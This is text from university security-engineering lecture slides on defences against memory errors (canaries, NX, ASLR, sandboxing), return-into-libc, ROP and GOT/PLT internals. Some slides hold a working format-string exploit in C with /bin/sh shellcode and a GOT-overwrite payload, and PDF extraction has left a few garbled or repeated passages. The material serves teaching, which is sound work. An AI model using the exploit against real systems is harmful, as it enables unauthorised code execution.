程序代写代做代考 kernel Java game graph compiler c++ assembler chain cuda c# C 7CCSMSEN: Security Engineering

7CCSMSEN: Security Engineering
Application Security Pt3
Lorenzo Cavallaro

http://s2lab.kcl.ac.uk
Systems Security Research Lab – Cybersecurity Research Group Department of Informatics, King’s College London
Lorenzo Cavallaro (S2 Lab) 7CCSMSEN 1 / 55

Part I
Solutions
Lorenzo Cavallaro (S2 Lab) 7CCSMSEN 2 / 55

Solutions to Buffer Overflows
Prevent
Write decent programs! (impossible)
Use a language that performs boundary checking (e.g., Java) Perform analysis of the program before execution (static analysis) Perform checks on the program during execution (dynamic analysis)
Use libraries that replace dangerous functions (e.g., libsafe)
Modify the way programs are loaded/executed by the kernel Contain
Use virtualization and policies to limit the damage that a compromised application can cause Detect (and kill)
System call analysis (e.g., sequence analysis)
Integrity checking (e.g., return address integrity checks)
Lorenzo Cavallaro (S2 Lab) 7CCSMSEN 3 / 55

Special and Safe Languages
Interpreted languages are usually not vulnerable to most of these attacks C dialects
Cyclone
Performs static analysis and adds checks when unsafe operations are identified Introduces different types of pointers and limits the operations that can be performed on certain types of pointers
Uses garbage-collected heap (no free())
Perform checks on format strings
CCured
Performs static analysis and adds runtime checks
Infers automatically the characteristic of different types of pointers Advantage: code need not to be extensively modified
Lorenzo Cavallaro (S2 Lab) 7CCSMSEN 4 / 55

Static Analysis
These tools analyze the source code of an application looking for different vulnerability patterns
Many different techniques at different level of sophistication
Problem is undecidable: tools generate false positives and false negatives
Splint
Requires that programmers to include annotations in their code (e.g., pre- and
post-conditions to a function)
Performs taint analysis to determine if user input is passed to security- critical functions
Cqual
Use type extension mechanisms to support taint analysis Used to identify format string vulnerabilities
Lorenzo Cavallaro (S2 Lab) 7CCSMSEN 5 / 55

Static Analysis
Metacompilation
Allows developers to write compiler extensions so that user-specific rules can be verified during compilation
For example: check that when interrupts are disabled, they are eventually re- enabled
This tool was able to identify a large number of vulnerabilities in Linux drivers PREfix/PREfast
Does not require user annotations or code modification
Uses static analysis to identify possible executions and generate a set of constraints The constraints are then analyzed to identify possible misuses
Lorenzo Cavallaro (S2 Lab) 7CCSMSEN 6 / 55

Static Analysis
BOON
Models strings as integer ranges and operation on strings as expressions in a constraint
language
It analyzes the code to identify possible violation of the string sizes
ITS4, Flawfinder, RATS Lightweight lexical analyzer
They identify “dangerous” functions and report on possible misuse They do not operate sophisticated analysis of the call graph
Lorenzo Cavallaro (S2 Lab) 7CCSMSEN 7 / 55

Dynamic Analysis
Tools that perform supervised execution of code to identify possible errors Purify
Adds metainformation to every byte in memory and determines when unallocated memory is written to
Useful to detect memory leaks and possible heap overflows
Valgrind
Provides a set of tools for debugging and profiling
Memcheck is able to detect memory violation and double free() operations
Information flow/taint analysis
Tracks how information/data flows throughout the program, from (taint) source to specific
points (sinks)
Policy to disallow tainted data at sinks e.g., TaintCheck, Argos, DIVA
Lorenzo Cavallaro (S2 Lab) 7CCSMSEN 8 / 55

libc Substitutes
LibSafe
Provides a safe version of memory copying functions
strcpy, strcat, getwd, gets, scanf, realpath, sprintf Can be loaded using LD_PRELOAD
When a function such as strcpy() is invoked, libsafe’s stub is invoked
The frame pointer is used to check if the memory-copying operation would overflow a return address/frame pointer
If it is the case, a syslog message is generated and the offending process is killed
Contra Police
libc extension for protecting applications from heap smashing attacks Places a decoy before and after allocated buffers
Lorenzo Cavallaro (S2 Lab) 7CCSMSEN 9 / 55

Containment Approach
Goal: limit the damage that a hijacked application can cause Policy enforcement
Sandboxing
SELinux, AppArmor, Janus, Systrace, POSIX capabilities, Capsicum
Allow a user to write policies that describe which system calls an application should be allowed to invoke
Differ in the way in which policies are specified
Differ in the extent to which individual files and resources can be protected
Systrace supports training, where a user is asked whenever a previously unseen system call is requested
Lorenzo Cavallaro (S2 Lab) 7CCSMSEN 10 / 55

Detection Approaches
System call analysis Signatures Sequences
Control-flow-driven analysis Parameter modeling
Mimicry attacks Compiler modifications
Boundary checking
Meta-information about variables and pointers (similar to debugging information) is used to verify the boundaries of memory operation, e.g., Bcc, RTCC, Safe C
No meta-information, e.g., WIT, PAriCheck
Integrity checking
StackGuard, StackShield, Propolice
Lorenzo Cavallaro (S2 Lab) 7CCSMSEN 11 / 55

Canary-based solutions
StackGuard
StackGuard writes a canary value before the return address on the stack Terminator canary: NULL(0x00), CR (0x0d), LF (0x0a) and EOF (0xff)
Random canary: out of random number generator XOR canary: random XOR return address
During the epilogue the value is verified before performing a ret instruction
This is achieved by means of a modified function prologue/ epilogue (need recompilation) It introduces overhead
The return address is not the only interesting code pointer to target
Lorenzo Cavallaro (S2 Lab) 7CCSMSEN 12 / 55

Canary-based solutions
StackGuard
StackGuard writes a canary value before the return address on the stack
A few more improvements over the years, e.g., variable reordering
Terminator canary: NULL(0x00), CR (0x0d), LF (0x0a) and EOF (0xff) WRaendwoomn’ctandaisrcyu:sosuthoifsranydmomorneudmubeertogelnaecrkatofrtime
XOR canary: random XOR return address
In a nutshell: other suitable (memory) targets to corrupt
During the epilogue the value is verified before performing a ret instruction
Again, see [3] Memory Errors: the Past, the Present, and the Future,
This is achieved by means of a modified function prologue/ epilogue (need recompilation)
Victor van der Veen, Nitish Dutt-Sharma, Lorenzo Cavallaro, and Herbert Bos, It intRroAdIuDce2s0o1v2erhead
The return address is not the only interesting code pointer to target
Lorenzo Cavallaro (S2 Lab) 7CCSMSEN 12 / 55

Non-Executable Memory
Solar Designer’s Non-executable stack No overhead
Easily bypassed using return-into-libc attacks PaX PAGEEXEC protection
The Intel memory structure did not support per-page execution flags
Every page that should be protected is marked as “privileged”
Each access will cause a page fault exception that will be caught by the system which can decide if the page can be executed or not
Intel NX bit
Lorenzo Cavallaro (S2 Lab) 7CCSMSEN 13 / 55

Non-Executable Memory
OpenBSD’s W XOR X
Forces pages to be either executable or writable but not both
Exec-Shield
Developed as part of Red Hat, the mechanism provides support for non-executable data areas (e.g., the stack) and non-writable text areas (e.g., the code)
Lorenzo Cavallaro (S2 Lab) 7CCSMSEN 14 / 55

Return-into-libc
Sometimes the stack cannot be used to store the shellcode Buffer is too small
Stack is not executable
The overflow can be used to set a fake call frame that will be invoked when ret is executed by the currently executing function
Any function that is currently linked can be executed (very often system() is used)
strcpy() can be used to copy shellcode in executable areas
The attacker needs to be able to locate the address of the system() function in memory
Debugger, /proc//maps
Lorenzo Cavallaro (S2 Lab) 7CCSMSEN 15 / 55

Return-into-libc
c0000000
bffffe5c bffffe58 bffffe54 bffffe50 bffffe4c bffffe48
bffffc48
memcpy
leave
ret
caller’s state
envp
argv
argc
return addr
frame pointer
buffer
caller’s state
envp
&”/bin/sh”
fake return addr
&system
garbage
garbage
“/bin/sh”
caller’s state
envp
&”/bin/sh”
fake return addr
&system
garbage
garbage
“/bin/sh”
caller’s state
envp
&”/bin/sh”
fake return addr
&system
garbage
garbage
“/bin/sh”
%esp
%ebp
%eip in main
%esp
%ebp
%eip in main
%esp
%ebp is garbage %eip in main
%esp
%ebp is garbage %eip is system
Lorenzo Cavallaro (S2 Lab) 7CCSMSEN 16 / 55

Randomized Addresses and Instructions
The PaX ASLR (Address Space Layout Randomization)
Randomizes the position of the heap, the stack, and the code
Maps also executable code to random location, but requires fully position- independent code
The grsecurity patch includes all the PaX patches, increased auditing features, Role-based Access Control, and more
A different approach encrypts the instructions in memory and decrypts them before execution
An attacker cannot inject code because it will be decrypted into meaningless garbage Introduces substantial overhead
Process replication and diversification N-Variants, diversified process replicæ
Lorenzo Cavallaro (S2 Lab) 7CCSMSEN 17 / 55

Return-oriented programming (ROP)
Generalization of return-into-libc
We may not know where libc is loaded because of address space layout randomization (ASLR, discussed later)
Executables are often not position-independent
So: re-use code from the executables itself Unfortunately, they do not have the functions we need
Solution: collect gadgets that do a small operation followed by a ret and chain them together
To start with, see:
[1] Return-Oriented Programming: Systems, Languages, and Applications,Roemer, Ryan and Buchanan, Erik and Shacham, Hovav and Savage, Stefan,ACM TISSEC, 2012
Lorenzo Cavallaro (S2 Lab) 7CCSMSEN 18 / 55

Return-oriented programming (ROP)
Generalization of return-into-libc
We may not know where libc is loaded because of address space layout randomization (ASLR, discussed later)
Executables are often not position-independent
So: re-use code from the executables itself
Unfortunately, they do not have the functions we need
Solution: collect gadgets that do a small operation followed by a ret and chain them together
To start with, see:
[1] Return-Oriented Programming: Systems, Languages, and Applications,Roemer, Ryan and Buchanan, Erik and Shacham, Hovav and Savage, Stefan,ACM TISSEC, 2012
Lorenzo Cavallaro (S2 Lab) 7CCSMSEN 18 / 55

Return-oriented programming (ROP)
Generalization of return-into-libc
We may not know where libc is loaded because of address space layout randomization (ASLR, discussed later)
Executables are often not position-independent
So: re-use code from the executables itself Unfortunately, they do not have the functions we need
Solution: collect gadgets that do a small operation followed by a ret and chain them together
To start with, see:
[1] Return-Oriented Programming: Systems, Languages, and Applications,Roemer,
Ryan and Buchanan, Erik and Shacham, Hovav and Savage, Stefan,ACM TISSEC, 2012
Lorenzo Cavallaro (S2 Lab) 7CCSMSEN 18 / 55

Part II
Format String Vulnerabilities
Lorenzo Cavallaro (S2 Lab) 7CCSMSEN 19 / 55

Alternative Code Pointers
A quick reminder. . .
The return adress is not the only code pointer Other alternatives:
1 Function pointers
2 GOT (Global Offset Table)
3 Destructors (.dtors)
4 …
In general: any writable code pointer you may find in the VA of the target
Lorenzo Cavallaro (S2 Lab) 7CCSMSEN 20 / 55

Dynamic Linking
Part of the linking is performed at run-time. Why? Shared libraries can be updated easily
Libraries can be loaded and unloaded dynamically
Drawback: run-time overhead
Lorenzo Cavallaro (S2 Lab) 7CCSMSEN 21 / 55

Global Offset Table & Procedure Linkage Table
GOT & PLT
Sections .got and .plt are present in ELF executables that use dynamic linking
PLT adds an indirection layer to the invocation of library functions PLT allows lazy binding
Example
sullivan@galilei:~$ objdump -x $(which ls)
/bin/ls: file …
Sections:
Idx Name
…
11 .plt
…
21 .got
…
format elf32-i386
Size VMA LMA File off Algn
00000610 CONTENTS,
00000008 CONTENTS,
08049538 08049538 00001538 2**2 ALLOC, LOAD, READONLY, CODE
0805b5d4 0805b5d4 000125d4 2**2 ALLOC, LOAD, DATA
Lorenzo Cavallaro (S2 Lab) 7CCSMSEN 22 / 55

Global Offset Table & Procedure Linkage Table How do they work?
1 At compile-time, a call to a shared function f() is translated into a call to a PLT entry
2 When f() is called, the PLT entry jumps to the address contained in an entry of the GOT, that contains:
The first time, the address of a PLT entry that invokes the linker Afterwards, the entry contains the real address of the shared function
Lorenzo Cavallaro (S2 Lab) 7CCSMSEN 23 / 55

Global Offset Table & Procedure Linkage Table An example
call +0: jmp * +6: …linker …
: Lorenzo Cavallaro (S2 Lab) 7CCSMSEN 24 / 55
.got .plt .text

Global Offset Table & Procedure Linkage Table An example
call +0: jmp * +6: …linker …
: 1
Lorenzo Cavallaro (S2 Lab) 7CCSMSEN 24 / 55
.got .plt .text

Global Offset Table & Procedure Linkage Table An example
call +0: jmp * +6: …linker …
: 1 2
Lorenzo Cavallaro (S2 Lab) 7CCSMSEN 24 / 55
.got .plt .text

Global Offset Table & Procedure Linkage Table An example
call +0: jmp * +6: …linker …
: 3
Lorenzo Cavallaro (S2 Lab) 7CCSMSEN 24 / 55
.got .plt .text

PLT and GOT
When a shared library function is called by a program the address called is an entry in the Procedure Linking Table (PLT)
The address contains an indirect jump to the addresses contained in variables stored in the Global Offset Table
The first time a function is called, the GOT address is a jump back to the PLT, where the code to invoke the linker is called
The linker does its magic and updates the GOT entry, so next time the function is called it can be directly invoked
The PLT is read-only, but the GOT is not…
By overwriting the contents of a GOT entry it is possible to jump to arbitrary locations gdb can be your friend
Lorenzo Cavallaro (S2 Lab) 7CCSMSEN 25 / 55

Hello World I
$ gdb -q a
Reading symbols from a…done.
(gdb) b main
Breakpoint 1 at 0x804841d: file a.c, line 7.
(gdb) disassemble main
Dump of assembler code for function main:
0x08048414 :
0x08048415 :
0x08048417 :
0x0804841a :
0x0804841d :
0x08048424 :
…
(gdb) x/i 0x804833c
0x804833c :
(gdb) x/x 0x804a008
0x804a008 <_GLOBAL_OFFSET_TABLE_+20>:
(gdb) x/2i 0x8048342
0x804830c:
0x8048312:
pushl 0x8049ff8
jmp *0x8049ffc
push %ebp
mov %esp,%ebp
and $0xfffffff0,%esp
sub $0x10,%esp
movl $0x8048500,(%esp)
call 0x804833c jmp *0x804a008
0x08048342
Lorenzo Cavallaro
(S2 Lab)
7CCSMSEN 26 / 55

(gdb) x/x 0x8049ffc
0x8049ffc <_GLOBAL_OFFSET_TABLE_+8>:
(gdb) x/i 0x00122fb0
0x122fb0 <_dl_runtime_resolve>:
…
(gdb) b *0x08048429
Breakpoint 2 at 0x8048429: file a.c, line 8
(gdb) c
Continuing.
Hello World
Breakpoint 2, main () at a.c:8
8 exit(1);
(gdb) x/i 0x804833c
0x804833c : jmp *0x804a008
(gdb) x/x 0x804a008
0x804a008 <_GLOBAL_OFFSET_TABLE_+20>: 0x0018b710
(gdb) p &puts
$1 = ( *) 0x18b710 <_IO_puts>
0x00122fb0
push %eax
Lorenzo Cavallaro (S2 Lab) 7CCSMSEN 27 / 55

Global Offset Table & Procedure Linkage Table Exploiting
Overwrite a GOT entry with the address that contains the code to be executed Let the program invoke the function associated to that entry
Lorenzo Cavallaro (S2 Lab) 7CCSMSEN 28 / 55

Format String Vulnerability
Format String Vulnerability
Whenever a printf(… char *fmt…) function is used with user-supplied input it is possible to write arbitrary values in the process memory by providing a carefully crafted format string
printf(“Hello world!\n”); is ok
printf(buf); is not! buf will be interpreted as a format string
What if buf=”%d %d”?
If additional args are not there, values from the stack are used instead…
Not well-known fact: when %n is found, the number of output characters processed before the %n field is stored at the address passed as the next argument
Lorenzo Cavallaro (S2 Lab) 7CCSMSEN 29 / 55

Format String Vulnerability
A Simple Vulnerable Program
int main(int argc, char* argv[])
{
char buf[128];
int y;
if (argv[1] == NULL) exit(1);
y = 1;
snprintf(buf, sizeof buf, argv[1]);
buf[sizeof buf – 1] = ’\0’;
printf(“buffer (%d): %s\n”, strlen(buf), buf);
printf(“y is %d/%#x (@ %p)\n”, y, y, &y);
return 0;
}
% ./fmt foo
buffer (3): foo
y is 1/0x1 (@ 0xbffff2e8)
Lorenzo Cavallaro (S2 Lab) 7CCSMSEN 30 / 55

Format String Vulnerability
Output 1
%./fmt “%x”
buffer (1): 0
y is 1/0x1 (@ 0xbffff2e8)
%./fmt “%x %x”
buffer (3): 0 0
y is 1/0x1 (@ 0xbffff2e8)
%./fmt “%x %x %x %x”
buffer (9): 0 0 1 88a
y is 1/0x1 (@ 0xbffff2e8)
%./fmt “%x %x %x %x %x %x %x”
buffer (35): 0 0 1 88a bffff424 4001f858 80482ba
y is 1/0x1 (@ 0xbffff2d8)
%./fmt “AAAA %x %x %x %x %x %x %x %x %x”
buffer (51): AAAA 0 0 1 88a bffff424 4001f858 80482ba 1 41414141
y is 1/0x1 (@ 0xbffff2d8)
%./fmt “AAAA %9\$08x”
buffer (13): AAAA 41414141
y is 1/0x1 (@ 0xbffff2e8)
Lorenzo Cavallaro (S2 Lab) 7CCSMSEN 31 / 55

Format String Vulnerability
Output 2
%./fmt “‘printf ’\xe8\xf2\xff\xbf’‘ %9\$08x” buffer (13): ̈ı¿ 1 ̈ı¿ 1 ̈ı¿ 1 ̈ı¿ 1 bffff2e8
y is 1/0x1 (@ 0xbffff2e8)
%./fmt “‘printf ’\xe8\xf2\xff\xbf’‘ %9\$08n”
buffer (5): ̈ı¿1 ̈ı¿1 ̈ı¿1 ̈ı¿1 2222
y is 5/0x5 (@ 0xbffff2e8)
%./fmt “‘printf ’\xe8\xf2\xff\xbf’‘ AAAA%9\$08n”
buffer (9): ̈ı¿ 1 ̈ı¿ 1 ̈ı¿ 1 ̈ı¿ 1 AAAA 2222
y is 9/0x9 (@ 0xbffff2e8)
%./fmt “‘printf ’\xe8\xf2\xff\xbf’‘ %95u%9\$08n”
buffer (100): ̈ı¿1 ̈ı¿1 ̈ı¿1 ̈ı¿1 2222
y is 100/0x64 (@ 0xbffff2e8)
2222
Lorenzo Cavallaro (S2 Lab) 7CCSMSEN 32 / 55

Format String Vulnerability
Exploiting the Vulnerability
We need to
Locate how far we are from the (user-provided) buffer on the stack
stack-pop, direct-pop
Determine the retaddr, i.e., where the shellcode is
e.g., on the environment (no guessing, assuming no protections) Determine the retloc, i.e., what to overwrite with retaddr
(saved) return addresses on the stack
GOT entries? 🙂 They are at a fixed location, in ET_EXEC ELF binaries!
Chop up the write for retaddr at different incremental retlocs Do the math and prepare the format string
Lorenzo Cavallaro (S2 Lab) 7CCSMSEN 33 / 55

Format String Vulnerability
Exploiting the Vulnerability I
The Code
an easy-to-find retloc
% readelf -r fmt | grep -w strlen
0804a008 00000307 R_386_JUMP_SLOT 00000000 strlen
#include
#include
#include
unsigned char code[] =
“\xeb\x15\x5b\x31\xc0\x89\x5b\x08\x88\x43\x07\x89\x43\x0c\x8d\x4b”
“\x08\x89\xc2\xb0\x0b\xcd\x80\xe8\xe6\xff\xff\xff/bin/sh”;
#define VULN “./fmt”
#define RETLOC 0804a008
int
main(int argc, char **argv)
{
Lorenzo Cavallaro (S2 Lab) 7CCSMSEN 34 / 55

Format String Vulnerability
Exploiting the Vulnerability II
The Code
unsigned int addr, i;
/* retaddr on env @ 0xbfffffd2 */
char fmt[] =
/* no alignment */
“\x08\xa0\x04\x08” /* retloc, GOT[strlen] */
“\x09\xa0\x04\x08” /* retloc, GOT[strlen] */
“\x0a\xa0\x04\x08” /* retloc, GOT[strlen] */
“\x0b\xa0\x04\x08” /* retloc, GOT[strlen] */
/* write 0xbe, printf of fmt *doesn’t* write extra data! */
“%194u%9$n”
“%45u%10$n”
“%256u%11$n”
“%192u%12$n”;
char *n[] = { VULN, fmt, NULL };
char *env[] = { code, NULL };
/* write 0xff */
/* write 0xff */
/* write 0xbf */
Lorenzo Cavallaro (S2 Lab) 7CCSMSEN 35 / 55

Format String Vulnerability
Exploiting the Vulnerability III
The Code
addr = 0xc0000000 – 4 – strlen(VULN) – 1 – strlen(code) – 1;
fprintf(stderr, “Using address: %#010x\n”, addr);
execve(VULN, n, env);
perror(“execve”);
exit(1);
}
%./x
Using address: 0xbfffffd2
#
Lorenzo Cavallaro (S2 Lab) 7CCSMSEN 36 / 55

Format String Vulnerability
Lessons Learned
Whenever an attacker can control the format string of a function such as *printf() and syslog() there is the potential for a format string vulnerability
fprintf(f, buf) BAD fprintf(f, “%s”, buf) GOOD
Format string attacks are made possible by the lack of parameter validation
Lorenzo Cavallaro (S2 Lab) 7CCSMSEN 37 / 55

Attacks-Protections Evolution

Evolution
Attacks-Protections Evolution
1996- Code injection
1997 NX (no executable data memory) 1998 Canary
Protects only return addresses or saved frame pointers
2000 Variable reordering
Still application specific pointers can be corrupted
1997 Return-into-libc (code reuse) Defeats NX
2001 Address space layout randomization (ASLR) 2006 OS-specific protections (e.g., SafeSEH)
2007 Return-oriented programming Defeats NX
Defeats ASLR if information leaks (or .text is nor randomized) 2009– Ad-hoc return-oriented programming protections
Still an arm-race
Lorenzo Cavallaro (S2 Lab) 7CCSMSEN 39 / 55

An Ongoing Threat?
An Ongoing Threat?
20+ years of research on memory errors Safe languages
Program analysis Countermeasures
Classic buffer overflow still in top 3 CWE SANS top 25 Will memory errors remain a significant threat?
Do we need renewed/different research efforts?
Lorenzo Cavallaro (S2 Lab) 7CCSMSEN 40 / 55

Memory Errors: The Present

An Ongoing Threat?
The Present
Vulnerability Analysis
Number of memory errors are dropping
Lorenzo Cavallaro (S2 Lab) 7CCSMSEN 42 / 55
240
180
120
60
0
1997 2000 2003
2006 2009 2012
Memory errors
Vulnerabilities
Date
#Vulnerabilities

An Ongoing Threat?
The Present
Vulnerability Breakdown
No more format strings
From stack to heap smashing
Lorenzo Cavallaro (S2 Lab) 7CCSMSEN 43 / 55
Memory error vulnerabilities categorized
200 160 120
80 40 0
2000 2002 2004 2006
Date
2008 2010 2012
Other Format Pointer Integer
Heap Stack
#Vulnerabilities

An Ongoing Threat?
The Present
Exploit Breakdown
The heap is difficult to exploit
Lorenzo Cavallaro (S2 Lab) 7CCSMSEN 44 / 55
80 64 48 32 16
0
2000 2002 2004 2006
Date
2008 2010 2012
Memory error exploits categorized
Other Format Pointer Integer
Heap Stack
#Exploits

An Ongoing Threat?
The Present
Exploit Analysis
Exploitation is getting harder
Lorenzo Cavallaro (S2 Lab) 7CCSMSEN 45 / 55
240
180
120
60
0
1997 2000 2003
2006 2009 2012
Memory errors
Vulnerabilities
Exploits
Date
#Vulnerabilities / #Exploits

An Ongoing Threat?
The Present
Public Disclosure?
Is there something else that could explain this drop in reports?
1 0-day private market
2 Bounty programs
3 Black market
Lorenzo Cavallaro (S2 Lab) 7CCSMSEN 46 / 55

An Ongoing Threat?
The Present
0-Day Private Market
Pwn2Own 2012
“[. . . ] But the other one, a memory corruption flaw in IE’s protected mode sandbox, VUPEN will keep for itself and its customers (NATO governments and partners)”
Other companies selling zero-days Netragard
Endgame Systems
Northrop Grumman
Raytheon
Hacking Team (cyber surveillance)
Lorenzo Cavallaro (S2 Lab) 7CCSMSEN 47 / 55

An Ongoing Threat?
The Present
Bounty Programs
Vendors have started paying for zero-days Mozilla (up to $3,000)
Google (up to $20,000)
Facebook (minimum of $500) Baracuda Networks (up to $3,133.7) Zero Day Initiative
…
Lorenzo Cavallaro (S2 Lab) 7CCSMSEN 48 / 55

An Ongoing Threat?
The Present
Black Market
Selling on black markets is also lucrative
Lorenzo Cavallaro (S2 Lab) 7CCSMSEN 49 / 55
35 28 21 14
7 0
Other Unspecified Memory errors
Exploit kit breakdown
#Exploits
Phoenix Elanor
Blackhole Crimepack
Fragus BleedingLife
Incognito Nuclear

Memory Errors: The Future

An Ongoing Threat?
The Future
Trends
What can we expect in the future?
Exploitation is getting harder Public disclosure is being avoided
Increase of bounty programs Increase of 0-day private markets
Lorenzo Cavallaro (S2 Lab) 7CCSMSEN 51 / 55

An Ongoing Threat?
The Future
Percentages
Stats show memory errors seem to persist
Lorenzo Cavallaro (S2 Lab) 7CCSMSEN 52 / 55
50% 40% 30% 20% 10%
0%
1997 2000 2003
2006 2009 2012
Memory errors as a percentage of total reported
Vulnerabilities
Exploits
Date

An Ongoing Threat?
The Future
C Usage
Most important programming language (still) Lots of existing C software
Not safe by design
Hard to get it right
Lorenzo Cavallaro (S2 Lab) 7CCSMSEN 53 / 55
Tiobe programming language rating
C Java Objective-C C++ C# PHP Basic Python Perl Ruby
0% 5%
10% 15% 20%

An Ongoing Threat?
The Future
C Usage
Memory errors are endemic in C-like programs
Most important programming language (still) Lots of existing C software
Not safe by design
Hard to get it right
Lorenzo Cavallaro (S2 Lab) 7CCSMSEN 53 / 55
Tiobe programming language rating
C Java Objective-C C++ C# PHP Basic Python Perl Ruby
0% 5%
10% 15% 20%

An Ongoing Threat?
The Future
Non-control data
Non-control-data attacks are realistic threats, Chen, Shuo and Xu, Jun and Sezer, Emre C. and Gauriar, Prachi and Iyer, Ravishankar K., USENIX Security 2005
Exim attack
Typical heap overflow: overwrite a variable Does not divert control flow
Undetected by NX, ALSR, canary protection
Information-leakage, ROP (to re-enable eXec on memory), and traditional code injection Defeat fine-grained ASLR
See [2] Just-In-Time Code Reuse: On the Effectiveness of Fine-Grained Address Space Layout Randomization, Kevin Z. Snow, Lucas Davi, Alexandra Dmitrienko, Christopher Liebchen, Fabian Monrose, Ahmad-Reza Sadeghi, IEEE Security & Privacy 2013 (Best Student Paper Award)
Lorenzo Cavallaro (S2 Lab) 7CCSMSEN 54 / 55

References

References
R. Roemer, E. Buchanan, H. Shacham, and S. Savage.
Return-oriented programming: Systems, languages, and applications.
ACM Trans. Inf. Syst. Secur., 15(1):2:1–2:34, Mar. 2012.
K. Z. Snow, F. Monrose, L. Davi, A. Dmitrienko, C. Liebchen, and A.-R. Sadeghi.
Just-in-time code reuse: On the effectiveness of fine-grained address space layout randomization.
In Proceedings of the 2013 IEEE Symposium on Security and Privacy, SP ’13, pages 574–588, Washington, DC, USA, 2013. IEEE Computer Society.
V. van der Veen, N. dutt Sharma, L. Cavallaro, and H. Bos.
Memory Errors: The Past, the Present, and the Future.
In In the Proceedings of the 15th International Symposium on Research in Attacks Intrusions and Defenses (RAID), September 2012.
Lorenzo Cavallaro (S2 Lab) 7CCSMSEN 55 / 55

Related Posts